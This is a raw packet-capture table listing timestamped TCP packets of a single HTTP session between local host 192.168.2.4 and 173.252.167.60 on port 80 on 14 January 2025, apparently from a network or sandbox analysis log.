Jan 14, 2025 19:18:28.744034052 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744066000 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744097948 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744132996 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744133949 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.744146109 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.744163990 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744199038 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744211912 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.744230986 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744262934 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744278908 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.744293928 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744326115 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744358063 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744390011 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744402885 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.744402885 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.744421005 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744452000 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744478941 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744510889 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744541883 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744571924 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744604111 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744609118 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.744613886 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.744613886 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.744633913 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744652033 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.744667053 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744698048 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744731903 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744765043 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744776011 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.744776011 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.744796991 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744827986 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744859934 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744889975 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744901896 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.744901896 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.744923115 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744956017 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.744959116 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.744988918 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.745019913 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.745028973 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.745052099 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.745083094 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.745115042 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.745146036 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.745146990 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.745157003 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.745177031 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.745208979 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.745240927 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.745270967 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.745275974 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.745275974 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.745304108 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.745330095 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.745362043 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.745393991 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.745403051 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.745403051 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.745424986 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.745456934 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.745487928 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.745518923 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.745526075 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.745526075 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.745552063 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.745985985 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.828295946 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.828423023 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.828466892 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.828475952 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.828510046 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.828543901 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.828593969 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.828627110 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.828634024 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.828634024 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.828679085 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.828730106 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.828731060 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.828758955 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.828790903 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.828838110 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.828841925 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.828874111 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.828923941 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.828926086 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.828973055 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829005957 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829030037 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.829040051 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829056025 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.829072952 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829104900 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829125881 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.829148054 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829199076 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829231977 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829263926 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829273939 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.829273939 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.829294920 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829322100 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829370022 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829402924 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829411983 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.829411983 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.829435110 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829484940 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829515934 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829546928 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829554081 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.829554081 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.829581976 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829613924 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829644918 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829679012 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829684973 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.829684973 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.829710960 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829742908 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829785109 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.829796076 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829847097 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829868078 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.829879999 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829912901 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829943895 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829977989 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.829981089 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.829981089 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.830027103 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830059052 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830107927 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830127001 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.830141068 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830162048 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.830173016 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830204964 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830238104 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830249071 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.830281973 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830315113 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830347061 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830378056 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830388069 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.830388069 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.830411911 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830430031 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.830444098 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830476046 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830507994 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830540895 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830549002 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.830549002 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.830573082 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830604076 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830636024 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830674887 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830677032 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.830677032 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.830708027 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830740929 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830771923 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830794096 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830806971 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830813885 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.830813885 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.830821991 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830836058 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830849886 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830863953 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830873966 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.830878019 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830892086 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830899000 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830905914 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830919027 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830921888 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.830921888 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.830934048 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830949068 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830962896 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830976009 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830982924 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830996990 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.830996990 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.830996990 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.831012964 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831027985 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831039906 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831053019 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831057072 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.831057072 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.831067085 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831080914 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831094980 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831109047 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831110001 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.831110001 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.831123114 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831136942 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831145048 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.831151009 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831165075 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831178904 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831190109 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.831190109 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.831192970 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831208944 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831223011 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831237078 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831242085 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.831242085 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.831249952 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831264973 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831279993 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831295013 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831310034 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831332922 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.831332922 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.831332922 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.831337929 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831352949 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831367970 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831382036 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831396103 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831409931 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831414938 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.831414938 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.831423998 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831438065 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831438065 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.831453085 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831468105 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.831490993 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.831511021 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.920078993 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.920154095 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.920207024 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.920257092 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.920279026 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.920289993 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.920322895 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.920324087 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.920356989 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.920388937 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.920404911 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.920438051 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.920469999 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.920502901 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.920505047 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.920505047 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.920535088 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.920567036 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.920614958 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.920636892 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.920646906 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.920687914 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.920720100 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.920752048 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.920761108 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.920761108 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.920788050 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.920802116 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.920854092 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.920886993 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.920917988 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.920954943 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.920963049 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.920963049 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.920985937 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921019077 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921051025 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921082973 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921088934 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921088934 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921114922 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921148062 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921180010 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921211958 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921226025 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921226025 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921232939 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921247005 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921262026 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921277046 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921291113 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921297073 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921297073 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921305895 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921320915 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921334982 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921349049 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921363115 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921370029 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921370029 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921375990 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921391010 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921403885 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921411991 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921411991 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921418905 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921433926 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921447992 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921462059 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921466112 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921466112 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921475887 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921492100 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921506882 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921521902 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921528101 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921528101 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921536922 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921550989 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921565056 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921578884 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921586990 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921586990 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921591997 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921607018 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921619892 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921626091 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921633959 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921648026 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921655893 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921662092 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921669006 CET	49741	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:18:28.921675920 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921691895 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921705961 CET	80	49741	173.252.167.60	192.168.2.4
Jan 14, 2025 19:18:28.921720982 CET	80	49741	173.252.167.60	192.168.2.4
